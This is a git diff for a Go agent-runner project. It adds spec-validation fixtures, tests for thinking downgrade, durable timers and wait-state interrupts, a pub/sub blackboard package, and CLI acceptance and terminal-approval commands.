a/internal/agent/testdata/spec_errors/both_prompts.golden b/internal/agent/testdata/spec_errors/both_prompts.golden new file mode 100644 index 0000000..7d9c3ef --- /dev/null +++ b/internal/agent/testdata/spec_errors/both_prompts.golden @@ -0,0 +1 @@ +spec testdata/spec_errors/both_prompts.yaml: field system_prompt: exactly one of system_prompt and system_prompt_file must be set, got both diff --git a/internal/agent/testdata/spec_errors/both_prompts.yaml b/internal/agent/testdata/spec_errors/both_prompts.yaml new file mode 100644 index 0000000..46c4c73 --- /dev/null +++ b/internal/agent/testdata/spec_errors/both_prompts.yaml @@ -0,0 +1,4 @@ +name: x +model: { provider: gemini, id: gemini-flash-latest } +system_prompt: hi +system_prompt_file: prompt.md diff --git a/internal/agent/testdata/spec_errors/missing_model_id.golden b/internal/agent/testdata/spec_errors/missing_model_id.golden new file mode 100644 index 0000000..e708c0b --- /dev/null +++ b/internal/agent/testdata/spec_errors/missing_model_id.golden @@ -0,0 +1 @@ +spec testdata/spec_errors/missing_model_id.yaml: field model.id: required diff --git a/internal/agent/testdata/spec_errors/missing_model_id.yaml b/internal/agent/testdata/spec_errors/missing_model_id.yaml new file mode 100644 index 0000000..830ff42 --- /dev/null +++ b/internal/agent/testdata/spec_errors/missing_model_id.yaml @@ -0,0 +1,3 @@ +name: x +model: { provider: gemini } +system_prompt: hi diff --git a/internal/agent/testdata/spec_errors/missing_name.golden b/internal/agent/testdata/spec_errors/missing_name.golden new file mode 100644 index 0000000..d5eb529 --- /dev/null +++ b/internal/agent/testdata/spec_errors/missing_name.golden @@ -0,0 +1 @@ +spec testdata/spec_errors/missing_name.yaml: field name: required diff --git a/internal/agent/testdata/spec_errors/missing_name.yaml b/internal/agent/testdata/spec_errors/missing_name.yaml new file mode 100644 index 0000000..ea634fd --- /dev/null +++ b/internal/agent/testdata/spec_errors/missing_name.yaml @@ -0,0 +1,2 @@ +model: { provider: gemini, id: gemini-flash-latest } +system_prompt: hi diff --git a/internal/agent/testdata/spec_errors/no_prompt.golden b/internal/agent/testdata/spec_errors/no_prompt.golden new file mode 100644 index 0000000..ac3784e --- /dev/null +++ b/internal/agent/testdata/spec_errors/no_prompt.golden @@ -0,0 +1 @@ +spec testdata/spec_errors/no_prompt.yaml: field system_prompt: exactly one of system_prompt and system_prompt_file must be set, got neither diff --git a/internal/agent/testdata/spec_errors/no_prompt.yaml b/internal/agent/testdata/spec_errors/no_prompt.yaml new file mode 100644 index 0000000..db8ea93 --- /dev/null +++ b/internal/agent/testdata/spec_errors/no_prompt.yaml @@ -0,0 +1,2 @@ +name: x +model: { provider: gemini, id: gemini-flash-latest } diff --git a/internal/agent/testdata/spec_errors/prompt_file_missing.golden b/internal/agent/testdata/spec_errors/prompt_file_missing.golden new file mode 100644 index 0000000..5e36aa2 --- /dev/null +++ b/internal/agent/testdata/spec_errors/prompt_file_missing.golden @@ -0,0 +1 @@ +spec testdata/spec_errors/prompt_file_missing.yaml: field system_prompt_file: open testdata/spec_errors/nope.md: no such file or directory diff --git a/internal/agent/testdata/spec_errors/prompt_file_missing.yaml b/internal/agent/testdata/spec_errors/prompt_file_missing.yaml new file mode 100644 index 0000000..f254769 --- /dev/null +++ b/internal/agent/testdata/spec_errors/prompt_file_missing.yaml @@ -0,0 +1,3 @@ +name: x +model: { provider: gemini, id: gemini-flash-latest } +system_prompt_file: nope.md diff --git a/internal/agent/testdata/spec_errors/unknown_field.golden b/internal/agent/testdata/spec_errors/unknown_field.golden new file mode 100644 index 0000000..bebfccb --- /dev/null +++ b/internal/agent/testdata/spec_errors/unknown_field.golden @@ -0,0 +1,2 @@ +spec testdata/spec_errors/unknown_field.yaml: yaml: unmarshal errors: + line 2: field bogus not found in type agent.AgentSpec diff --git a/internal/agent/testdata/spec_errors/unknown_field.yaml b/internal/agent/testdata/spec_errors/unknown_field.yaml new file mode 100644 index 0000000..a59bd8d --- /dev/null +++ b/internal/agent/testdata/spec_errors/unknown_field.yaml @@ -0,0 +1,4 @@ +name: x +bogus: true +model: { provider: gemini, id: gemini-flash-latest } +system_prompt: hi diff --git a/internal/agent/testdata/spec_errors/unknown_tool.golden b/internal/agent/testdata/spec_errors/unknown_tool.golden new file mode 100644 index 0000000..482fb03 --- /dev/null +++ b/internal/agent/testdata/spec_errors/unknown_tool.golden @@ -0,0 +1 @@ +spec testdata/spec_errors/unknown_tool.yaml: field tools: unknown tool "web_search" (known: [bash edit_file exit_plan_mode finish_series handoff_agent publish_artifact publish_note read_file read_notes schedule_next spawn_agent task_kill task_output]) diff --git a/internal/agent/testdata/spec_errors/unknown_tool.yaml b/internal/agent/testdata/spec_errors/unknown_tool.yaml new file mode 100644 index 0000000..ba22091 --- /dev/null +++ b/internal/agent/testdata/spec_errors/unknown_tool.yaml @@ -0,0 +1,4 @@ +name: x +model: { provider: gemini, id: gemini-flash-latest } +system_prompt: hi +tools: [read_file, web_search] diff --git a/internal/agent/testdata/valid.yaml b/internal/agent/testdata/valid.yaml new file mode 100644 index 0000000..6d68d4c --- /dev/null +++ b/internal/agent/testdata/valid.yaml @@ -0,0 +1,6 @@ +name: hello +model: + provider: gemini + id: gemini-flash-latest +system_prompt: You are a helpful coding agent. +tools: [read_file, edit_file, bash] diff --git a/internal/agent/testdata/valid_file.yaml b/internal/agent/testdata/valid_file.yaml new file mode 100644 index 0000000..b6355a8 --- /dev/null +++ b/internal/agent/testdata/valid_file.yaml @@ -0,0 +1,3 @@ +name: filed +model: { provider: gemini, id: gemini-flash-latest } +system_prompt_file: prompt.md diff --git a/internal/agent/thinking_test.go b/internal/agent/thinking_test.go new file mode 100644 index 0000000..d8fd44a --- /dev/null +++ b/internal/agent/thinking_test.go @@ -0,0 +1,83 @@ +package agent + +import ( + "context" + "path/filepath" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// capsProvider wraps a provider to override the declared Capabilities, so the +// S4.7 downgrade path can be exercised without a real second provider. +type capsProvider struct { + *capturingProvider + caps provider.Capabilities +} + +func (c *capsProvider) Capabilities() provider.Capabilities { return c.caps } + +func runWithThinking(t *testing.T, caps provider.Capabilities) *capturingProvider { + t.Helper() + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "ok"}, {Finish: "end_turn"}}}, + }} + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = es.Close() }) + + cap := &capturingProvider{inner: scripted.New(fix)} + l := &Loop{ + Spec: &AgentSpec{ + Name: "think", + Model: ModelSpec{Provider: "scripted", ID: "m", MaxTokens: 2048, + Thinking: ThinkingSpec{Enabled: true, BudgetTokens: 1024}}, + MaxTurns: 3, + }, + Provider: &capsProvider{capturingProvider: cap, caps: caps}, + Exec: &tool.Executor{WS: ws}, + Store: es, + Clock: clock.NewFake(time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)), + SessionID: "think-sess", + } + if _, err := l.Run(context.Background(), "hi"); err != nil { + t.Fatal(err) + } + return cap +} + +// S4.7: a provider that supports thinking receives the thinking config. +func TestThinkingPassedWhenSupported(t *testing.T) { + cap := runWithThinking(t, provider.Capabilities{Thinking: true}) + if len(cap.requests) == 0 { + t.Fatal("no requests captured") + } + if !cap.requests[0].Thinking.Enabled { + t.Errorf("thinking config should reach a thinking-capable provider") + } +} + +// S4.7: a provider WITHOUT thinking gets the config stripped (explicit +// downgrade), not a request it cannot honor. +func TestThinkingDowngradedWhenUnsupported(t *testing.T) { + cap := runWithThinking(t, provider.Capabilities{Thinking: false}) + if len(cap.requests) == 0 { + t.Fatal("no requests captured") + } + if cap.requests[0].Thinking.Enabled { + t.Errorf("thinking must be downgraded for a non-thinking provider: %+v", cap.requests[0].Thinking) + } +} diff --git a/internal/agent/timer_test.go b/internal/agent/timer_test.go new file mode 100644 index 0000000..64605ef --- /dev/null +++ b/internal/agent/timer_test.go @@ -0,0 +1,200 @@ +package agent + +import ( + "context" + "encoding/json" + "errors" + "path/filepath" + "runtime" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +var timerEpoch = time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC) + +// A tool-style activity that outlives its timeout: the timer fires +// (TimerFired journaled), the run ctx is canceled with the timeout cause, +// and the model-visible IsError result completes the activity normally. +func TestActivityTimeoutFiresDurableTimer(t *testing.T) { + m := &memAppend{} + fake := clock.NewFake(timerEpoch) + x := testExecutor(m) + x.Clock = fake + + done := make(chan error, 1) + go func() { + done <- x.Do(context.Background(), Activity{ + ID: "tool-call_1_0", Kind: event.KindTool, Name: "bash", + CallID: "call_1_0", Timeout: 5 * time.Second, + Run: func(ctx context.Context) (json.RawMessage, *provider.Usage, bool, error) { + <-ctx.Done() // simulates bash blocking until the group is killed + if errors.Is(context.Cause(ctx), errs.ErrActivityTimeout) { + return json.RawMessage(`{"timed_out":true}`), nil, true, nil + } + return json.RawMessage(`{"canceled":true}`), nil, true, nil + }, + }) + }() + for fake.Waiters() == 0 { + runtime.Gosched() + } + fake.Advance(5 * time.Second) + if err := <-done; err != nil { + t.Fatal(err) + } + + want := []string{"activity_started", "timer_set", "timer_fired", "activity_completed"} + if got := m.types(); !equal(got, want) { + t.Fatalf("events = %v, want %v", got, want) + } + var completed event.ActivityCompleted + _ = json.Unmarshal(m.events[3].Payload, &completed) + if !completed.IsError || string(completed.Result) != `{"timed_out":true}` { + t.Errorf("completed = %+v", completed) + } +} + +// An LLM-style activity whose cancellation surfaces as an error gets the +// timeout class (retryable), not canceled. +func TestActivityTimeoutReclassifiesError(t *testing.T) { + m := &memAppend{} + fake := clock.NewFake(timerEpoch) + x := testExecutor(m) + x.Clock = fake + x.MaxAttempts = 1 + + done := make(chan error, 1) + go func() { + done <- x.Do(context.Background(), Activity{ + ID: "llm-t1", Kind: event.KindLLM, Name: "complete", Timeout: 30 * time.Second, + Run: func(ctx context.Context) (json.RawMessage, *provider.Usage, bool, error) { + <-ctx.Done() + return nil, nil, false, ctx.Err() // provider surfaces context.Canceled + }, + }) + }() + for fake.Waiters() == 0 { + runtime.Gosched() + } + fake.Advance(30 * time.Second) + err := <-done + if err == nil || errs.ClassOf(err) != errs.Timeout { + t.Fatalf("err = %v (class %s), want timeout class", err, errs.ClassOf(err)) + } + var failed event.ActivityFailed + _ = json.Unmarshal(m.events[3].Payload, &failed) + if failed.Error.Class != string(errs.Timeout) || !failed.Error.Retryable { + t.Errorf("failed = %+v", failed) + } +} + +// Fast completion cancels the pending timer — the fold must not carry a +// stale timer forward. +func TestActivityTimerCancelledOnCompletion(t *testing.T) { + m := &memAppend{} + x := testExecutor(m) + if err := x.Do(context.Background(), Activity{ + ID: "tool-call_1_0", Kind: event.KindTool, Name: "bash", + CallID: "call_1_0", Timeout: time.Minute, + Run: func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + return json.RawMessage(`{}`), nil, false, nil + }, + }); err != nil { + t.Fatal(err) + } + want := []string{"activity_started", "timer_set", "timer_cancelled", "activity_completed"} + if got := m.types(); !equal(got, want) { + t.Fatalf("events = %v, want %v", got, want) + } + // Fold the events: pending timer set must be empty. + s := state.New() + for _, e := range m.events { + var err error + if s, err = state.Apply(s, e); err != nil { + t.Fatal(err) + } + } + if len(s.Timers) != 0 { + t.Errorf("stale timers in fold: %+v", s.Timers) + } +} + +// Crash between TimerSet and TimerFired: the reopened log still knows the +// timer, and the resume sweep fires expired ones immediately. +func TestTimerSurvivesCrashAndFiresOnResume(t *testing.T) { + dir := filepath.Join(t.TempDir(), "sess") + es, err := store.OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + env, err := event.New(event.TypeTimerSet, &event.TimerSet{ + TimerID: "tm-x", FireAt: timerEpoch.Add(time.Hour), Purpose: "activity_timeout:tool-x", + }) + if err != nil { + t.Fatal(err) + } + if _, err := es.Append(env); err != nil { + t.Fatal(err) + } + _ = es.Close() // crash + + // Resume: reopen, fold, sweep. + es2, err := store.OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = es2.Close() }() + events, err := store.ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + s, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if _, ok := s.Timers["tm-x"]; !ok { + t.Fatal("pending timer lost across crash") + } + + appendE := func(typ string, payload any) (event.Envelope, error) { + env, err := event.New(typ, payload) + if err != nil { + return env, err + } + return es2.Append(env) + } + + // Before due: stays pending. + fake := clock.NewFake(timerEpoch.Add(30 * time.Minute)) + future, err := FirePendingTimers(s, fake, appendE) + if err != nil { + t.Fatal(err) + } + if len(future) != 1 { + t.Fatalf("future = %+v, want the pending timer", future) + } + + // Past due: fires now. + fake.Advance(31 * time.Minute) + future, err = FirePendingTimers(s, fake, appendE) + if err != nil { + t.Fatal(err) + } + if len(future) != 0 { + t.Fatalf("future = %+v, want none", future) + } + all, err := store.ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + if last := all[len(all)-1]; last.Type != event.TypeTimerFired { + t.Fatalf("last event = %s, want timer_fired", last.Type) + } +} diff --git a/internal/agent/waiting.go b/internal/agent/waiting.go new file mode 100644 index 0000000..08a8b24 --- /dev/null +++ b/internal/agent/waiting.go @@ -0,0 +1,78 @@ +package agent + +import ( + "fmt" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/state" +) + +// WaitRule is one row of the waiting-state registry (2.14). All four +// variants are defined NOW so later stages slot into an existing table +// instead of growing an ad-hoc one; ProducibleStage says which stage may +// first journal a WaitingEntered of this kind. +type WaitRule struct { + Kind string + ProducibleStage int + // Interruptible: a user interrupt may resolve this wait. + Interruptible bool + // OnInterrupt is the WaitingResolved.Resolution an interrupt produces. + OnInterrupt string + // ResolvedBy names the non-interrupt resolution source. + ResolvedBy string +} + +// WaitRules is the closed registry. S3 uses approval; S4 input; +// S6 tasks and timer. The table itself is complete from S2 on. +var WaitRules = map[string]WaitRule{ + event.WaitInput: { + Kind: event.WaitInput, ProducibleStage: 4, Interruptible: true, + OnInterrupt: "superseded_by_interrupt", ResolvedBy: "input", + }, + event.WaitApproval: { + Kind: event.WaitApproval, ProducibleStage: 3, Interruptible: true, + // 3.5 denied-by-interrupt: the approval resolves as a denial and + // the call renders "[interrupted by user]". + OnInterrupt: "denied_by_interrupt", ResolvedBy: "approval_response", + }, + event.WaitTasks: { + Kind: event.WaitTasks, ProducibleStage: 6, Interruptible: true, + OnInterrupt: "tasks_cancelled_by_interrupt", ResolvedBy: "tasks_done", + }, + event.WaitTimer: { + Kind: event.WaitTimer, ProducibleStage: 6, Interruptible: true, + OnInterrupt: "timer_cancelled_by_interrupt", ResolvedBy: "timer_fired", + }, +} + +// CanProduce reports whether a stage may journal WaitingEntered of kind. +func CanProduce(kind string, stage int) bool { + rule, ok := WaitRules[kind] + return ok && stage >= rule.ProducibleStage +} + +// ResolveWaitingOnInterrupt handles a user interrupt against a parked run: +// the interrupt is journaled FIRST (journal-inputs-first), then the wait +// resolves per its registry row. A nil Waiting is a no-op; an unknown kind +// is corruption and errors loudly. +func ResolveWaitingOnInterrupt(s state.State, appendE AppendFunc) error { + if s.Waiting == nil { + return nil + } + rule, ok := WaitRules[s.Waiting.Kind] + if !ok { + return fmt.Errorf("waiting: unknown kind %q", s.Waiting.Kind) + } + if !rule.Interruptible { + return fmt.Errorf("waiting: kind %q is not interruptible", s.Waiting.Kind) + } + if _, err := appendE(event.TypeInputReceived, &event.InputReceived{ + Text: "[interrupt]", Source: "interrupt", + }); err != nil { + return err + } + _, err := appendE(event.TypeWaitingResolved, &event.WaitingResolved{ + Kind: s.Waiting.Kind, Resolution: rule.OnInterrupt, + }) + return err +} diff --git a/internal/agent/waiting_test.go b/internal/agent/waiting_test.go new file mode 100644 index 0000000..556df80 --- /dev/null +++ b/internal/agent/waiting_test.go @@ -0,0 +1,159 @@ +package agent + +import ( + "encoding/json" + "path/filepath" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// The registry is complete from S2 on: every kind has a row, and the +// producibility column matches the stage plan. +func TestWaitRegistryTable(t *testing.T) { + cases := []struct { + kind string + producible int + interruptible bool + onInterrupt string + resolvedBy string + }{ + {event.WaitInput, 4, true, "superseded_by_interrupt", "input"}, + {event.WaitApproval, 3, true, "denied_by_interrupt", "approval_response"}, + {event.WaitTasks, 6, true, "tasks_cancelled_by_interrupt", "tasks_done"}, + {event.WaitTimer, 6, true, "timer_cancelled_by_interrupt", "timer_fired"}, + } + if len(cases) != len(WaitRules) { + t.Fatalf("registry has %d rows, table pins %d", len(WaitRules), len(cases)) + } + for _, tc := range cases { + rule, ok := WaitRules[tc.kind] + if !ok { + t.Errorf("kind %q missing from registry", tc.kind) + continue + } + if rule.ProducibleStage != tc.producible || rule.Interruptible != tc.interruptible || + rule.OnInterrupt != tc.onInterrupt || rule.ResolvedBy != tc.resolvedBy { + t.Errorf("row %q = %+v, want %+v", tc.kind, rule, tc) + } + // S2 may produce none of them. + if CanProduce(tc.kind, 2) { + t.Errorf("kind %q must not be producible in S2", tc.kind) + } + if !CanProduce(tc.kind, tc.producible) { + t.Errorf("kind %q must be producible from stage %d", tc.kind, tc.producible) + } + } +} + +// Every cell of the interrupt column, driven with synthetic WaitingEntered +// events (nothing can produce them yet — that is the point). +func TestInterruptResolvesEveryKind(t *testing.T) { + for kind, rule := range WaitRules { + t.Run(kind, func(t *testing.T) { + m := &memAppend{} + s := state.New() + entered, err := event.New(event.TypeWaitingEntered, &event.WaitingEntered{Kind: kind}) + if err != nil { + t.Fatal(err) + } + entered.Seq = 1 + if s, err = state.Apply(s, entered); err != nil { + t.Fatal(err) + } + + appendE := func(typ string, payload any) (event.Envelope, error) { + env, aerr := m.append(typ, payload) + if aerr != nil { + return env, aerr + } + s, aerr = state.Apply(s, env) + return env, aerr + } + if err := ResolveWaitingOnInterrupt(s, appendE); err != nil { + t.Fatal(err) + } + + // journal-inputs-first: the interrupt lands BEFORE the resolution. + want := []string{"input_received", "waiting_resolved"} + if got := m.types(); !equal(got, want) { + t.Fatalf("events = %v, want %v", got, want) + } + var resolved event.WaitingResolved + _ = json.Unmarshal(m.events[1].Payload, &resolved) + if resolved.Kind != kind || resolved.Resolution != rule.OnInterrupt { + t.Errorf("resolved = %+v", resolved) + } + if s.Waiting != nil || s.Run.Status != state.StatusRunning { + t.Errorf("state after interrupt: waiting=%+v status=%s", s.Waiting, s.Run.Status) + } + // Control input must not pollute the transcript. + if len(s.Conversation.Messages) != 0 { + t.Errorf("interrupt leaked into conversation: %+v", s.Conversation.Messages) + } + }) + } +} + +func TestInterruptOnNonWaitingIsNoop(t *testing.T) { + m := &memAppend{} + if err := ResolveWaitingOnInterrupt(state.New(), m.append); err != nil { + t.Fatal(err) + } + if len(m.events) != 0 { + t.Errorf("events = %v, want none", m.types()) + } +} + +func TestInterruptUnknownKindErrors(t *testing.T) { + s := state.New() + s.Waiting = &state.Waiting{Kind: "seance"} + if err := ResolveWaitingOnInterrupt(s, (&memAppend{}).append); err == nil { + t.Fatal("unknown waiting kind must error") + } +} + +// The S2 exit criterion, synthetic edition: a waiting state journaled by +// one process is visible to the next (kill → reopen → fold → still parked), +// and the drive loop refuses to run past it. +func TestWaitingSurvivesProcessBoundary(t *testing.T) { + dir := filepath.Join(t.TempDir(), "sess") + es, err := store.OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + for _, pair := range []struct { + typ string + payload any + }{ + {event.TypeRunStarted, &event.RunStarted{SpecName: "t", SubStateVersions: state.SubStateVersions()}}, + {event.TypeWaitingEntered, &event.WaitingEntered{Kind: event.WaitApproval, + Detail: json.RawMessage(`{"call_id":"call_1_0"}`)}}, + } { + env, err := event.New(pair.typ, pair.payload) + if err != nil { + t.Fatal(err) + } + if _, err := es.Append(env); err != nil { + t.Fatal(err) + } + } + _ = es.Close() // process boundary + + events, err := store.ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + s, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if s.Waiting == nil || s.Waiting.Kind != event.WaitApproval || s.Run.Status != state.StatusWaiting { + t.Fatalf("state across process boundary: %+v", s.Run) + } + if got := decide(s, 5, ""); got.kind != doWait { + t.Fatalf("decide on parked state = %+v, want doWait", got) + } +} diff --git a/internal/blackboard/blackboard.go b/internal/blackboard/blackboard.go new file mode 100644 index 0000000..ada9b9f --- /dev/null +++ b/internal/blackboard/blackboard.go @@ -0,0 +1,83 @@ +// Package blackboard is the pub/sub collaboration surface for an agent tree +// (S5.4): a topic → ordered-notes store shared by a parent run and its +// sub-agents. The store itself is EPHEMERAL runtime state (lifetime = the +// root run's process) — durability follows the event-log doctrine instead: +// anything that influences a run's result crosses into that run's journal, +// and here that is the READ — a read_notes result is journaled by the +// reading run like any tool result. A note nobody reads never influenced +// anything, so losing the store on restart loses nothing that mattered. +// +// The kernel bus is deliberately NOT in this path yet: no bus instance is +// alive in the CLI run path today, and reads need synchronous access. When +// the S6 daemon hosts actor surfaces (notifier, frontends), Publish grows a +// bus mirror onto an ephemeral topic; the store stays the read-back truth. +package blackboard + +import ( + "sort" + "sync" +) + +// Note is one published entry. Seq is a per-board global order — readers +// see cross-topic causality consistently. +type Note struct { + Seq int `json:"seq"` + Topic string `json:"topic"` + From string `json:"from"` + Text string `json:"text"` +} + +// Board is a concurrency-safe topic store. The zero value is NOT usable; +// call New. +type Board struct { + // Mirror, when set BEFORE the board is used, receives every published + // note (S6 模块⑤ 回访: Publish 镜像到 ephemeral topic — a hosting + // surface forwards notes to live watchers). Called OUTSIDE the lock; + // the store stays the read-back truth, the mirror is fire-and-forget + // and MUST NOT publish back into the board. + Mirror func(Note) + + mu sync.Mutex + nextSq int + topics map[string][]Note +} + +func New() *Board { + return &Board{topics: map[string][]Note{}} +} + +// Publish appends a note to a topic, returning its sequence number. +func (b *Board) Publish(topic, from, text string) Note { + b.mu.Lock() + b.nextSq++ + n := Note{Seq: b.nextSq, Topic: topic, From: from, Text: text} + b.topics[topic] = append(b.topics[topic], n) + b.mu.Unlock() + if b.Mirror != nil { + b.Mirror(n) + } + return n +} + +// Read returns a topic's notes in publish order (a copy — callers may not +// mutate the store). +func (b *Board) Read(topic string) []Note { + b.mu.Lock() + defer b.mu.Unlock() + notes := b.topics[topic] + out := make([]Note, len(notes)) + copy(out, notes) + return out +} + +// Topics lists topics with at least one note, sorted. +func (b *Board) Topics() []string { + b.mu.Lock() + defer b.mu.Unlock() + out := make([]string, 0, len(b.topics)) + for t := range b.topics { + out = append(out, t) + } + sort.Strings(out) + return out +} diff --git a/internal/blackboard/blackboard_test.go b/internal/blackboard/blackboard_test.go new file mode 100644 index 0000000..4cd3b2b --- /dev/null +++ b/internal/blackboard/blackboard_test.go @@ -0,0 +1,81 @@ +package blackboard + +import ( + "fmt" + "sync" + "testing" +) + +func TestPublishReadOrder(t *testing.T) { + b := New() + b.Publish("plan", "lead", "first") + b.Publish("findings", "researcher", "other topic") + b.Publish("plan", "reviewer", "second") + + notes := b.Read("plan") + if len(notes) != 2 || notes[0].Text != "first" || notes[1].Text != "second" { + t.Fatalf("notes = %+v", notes) + } + if notes[0].Seq >= notes[1].Seq { + t.Errorf("seq not monotonic: %+v", notes) + } + if notes[1].From != "reviewer" { + t.Errorf("from = %q", notes[1].From) + } + if got := b.Read("empty"); len(got) != 0 { + t.Errorf("empty topic = %+v", got) + } + if topics := b.Topics(); len(topics) != 2 || topics[0] != "findings" { + t.Errorf("topics = %v", topics) + } +} + +// The mirror sees every publish, in order, outside the lock — re-reading +// the board from the mirror callback must not deadlock. +func TestPublishMirror(t *testing.T) { + b := New() + var seen []Note + b.Mirror = func(n Note) { + _ = b.Read(n.Topic) // lock re-entry check: must not deadlock + seen = append(seen, n) + } + b.Publish("plan", "lead", "step one") + b.Publish("plan", "worker", "done") + if len(seen) != 2 || seen[0].Text != "step one" || seen[1].Seq != 2 { + t.Fatalf("mirror saw %+v", seen) + } +} + +func TestReadReturnsCopy(t *testing.T) { + b := New() + b.Publish("t", "a", "original") + got := b.Read("t") + got[0].Text = "mutated" + if b.Read("t")[0].Text != "original" { + t.Error("Read must return a copy") + } +} + +func TestConcurrentPublish(t *testing.T) { + b := New() + var wg sync.WaitGroup + for i := 0; i < 50; i++ { + wg.Add(1) + go func(i int) { + defer wg.Done() + b.Publish("t", "w", fmt.Sprintf("note-%d", i)) + }(i) + } + wg.Wait() + notes := b.Read("t") + if len(notes) != 50 { + t.Fatalf("len = %d", len(notes)) + } + seen := map[int]bool{} + for _, n := range notes { + if seen[n.Seq] { + t.Fatalf("duplicate seq %d", n.Seq) + } + seen[n.Seq] = true + } +} diff --git a/internal/cli/accept.go b/internal/cli/accept.go new file mode 100644 index 0000000..28257b0 --- /dev/null +++ b/internal/cli/accept.go @@ -0,0 +1,68 @@ +package cli + +import ( + "flag" + "fmt" + "io" + "os" + + "golang.org/x/term" + + "github.com/ralphite/agentrunner/internal/accept" +) + +// acceptCmd runs the stage acceptance scenarios (PLAN 0.6): TUI on a TTY, +// plain text otherwise, acceptance-report.json always. +func acceptCmd(args []string, stdout, stderr io.Writer) int { + fs := flag.NewFlagSet("accept", flag.ContinueOnError) + fs.SetOutput(stderr) + stage := fs.Int("stage", 0, "stage number to accept") + plain := fs.Bool("plain", false, "force plain output (no TUI)") + report := fs.String("report", "acceptance-report.json", "JSON report path") + if err := fs.Parse(args); err != nil { + return ExitUsage + } + if *stage <= 0 { + fmt.Fprintln(stderr, "usage: agentrunner accept --stage [--plain]") + return ExitUsage + } + + scenarios, err := accept.LoadStage(*stage) + if err != nil { + fmt.Fprintln(stderr, err) + return ExitUsage + } + + bin, err := os.Executable() + if err != nil { + fmt.Fprintln(stderr, err) + return ExitRun + } + runner := &accept.Runner{Bin: bin} + + var results []accept.Result + if !*plain && term.IsTerminal(int(os.Stdout.Fd())) { + results, err = accept.RunTUI(runner, *stage, scenarios) + if err != nil { + fmt.Fprintln(stderr, err) + return ExitRun + } + } else { + for _, s := range scenarios { + results = append(results, runner.Run(s)) + } + } + + rep := accept.BuildReport(*stage, results) + accept.RenderPlain(stdout, rep) + if err := rep.WriteJSON(*report); err != nil { + fmt.Fprintln(stderr, err) + return ExitRun + } + fmt.Fprintf(stderr, "report written to %s\n", *report) + + if !rep.Green() { + return ExitRun + } + return ExitOK +} diff --git a/internal/cli/approve.go b/internal/cli/approve.go new file mode 100644 index 0000000..8f6c892 --- /dev/null +++ b/internal/cli/approve.go @@ -0,0 +1,89 @@ +package cli + +import ( + "bufio" + "context" + "fmt" + "io" + "os" + "strings" + "sync" + + "golang.org/x/term" + + "github.com/ralphite/agentrunner/internal/agent" +) + +// ttyApprovals is the interactive resolver (3.10): shows the effect and +// every gate's judgment, then reads y/n (an optional reason follows after +// a space). Non-TTY runs use EnvApprovals instead — never a hang. +type ttyApprovals struct { + in io.Reader + out io.Writer + // mu serializes concurrent asks: sibling sub-agents share this resolver + // (S5 review) — without it two prompts interleave and two stdin readers + // race for one typed answer, approving the wrong request. + mu sync.Mutex +} + +func (a *ttyApprovals) Resolve(ctx context.Context, req agent.ApprovalRequest) (agent.ApprovalDecision, error) { + a.mu.Lock() + defer a.mu.Unlock() + fmt.Fprintf(a.out, "\n─── approval required ───\n") + if req.Agent != "" { + fmt.Fprintf(a.out, " agent: %s\n", req.Agent) + } + if req.ToolName != "" { + fmt.Fprintf(a.out, " tool: %s\n args: %s\n", req.ToolName, truncate(string(req.Args), 200)) + } + for _, g := range req.GateResults { + fmt.Fprintf(a.out, " %s: %s", g.Gate, g.Decision) + if g.Reason != "" { + fmt.Fprintf(a.out, " (%s)", g.Reason) + } + fmt.Fprintln(a.out) + } + fmt.Fprintf(a.out, "approve? [y/n] (optionally: n ): ") + + // Terminal reads cannot be canceled directly; read in a goroutine and + // race ctx (an abandoned read dies with the process). + type line struct { + s string + err error + } + ch := make(chan line, 1) + go func() { + s, err := bufio.NewReader(a.in).ReadString('\n') + ch <- line{s, err} + }() + select { + case <-ctx.Done(): + return agent.ApprovalDecision{}, ctx.Err() + case l := <-ch: + if l.err != nil { + return agent.ApprovalDecision{}, fmt.Errorf("reading approval: %w", l.err) + } + answer := strings.TrimSpace(l.s) + verb, reason, _ := strings.Cut(answer, " ") + switch strings.ToLower(verb) { + case "y", "yes": + return agent.ApprovalDecision{Approve: true, Reason: strings.TrimSpace(reason), Source: "tty"}, nil + default: + r := strings.TrimSpace(reason) + if r == "" { + r = "denied at terminal" + } + return agent.ApprovalDecision{Approve: false, Reason: r, Source: "tty"}, nil + } + } +} + +// approvalResolver picks the interactive resolver when stdin is a real +// terminal (NOT merely a char device — /dev/null is one too); otherwise +// nil, and the loop falls back to fail-closed EnvApprovals. +func approvalResolver(stdout io.Writer) agent.ApprovalResolver { + if !term.IsTerminal(int(os.Stdin.Fd())) { + return nil + } + return &ttyApprovals{in: os.Stdin, out: stdout} +} diff --git a/internal/cli/approve_test.go b/internal/cli/approve_test.go new file mode 100644 index 0000000..25f6abc --- /dev/null +++ b/internal/cli/approve_test.go @@ -0,0 +1,62 @@ +package cli + +import ( + "bytes" + "context" + "encoding/json" + "strings" + "testing" + + 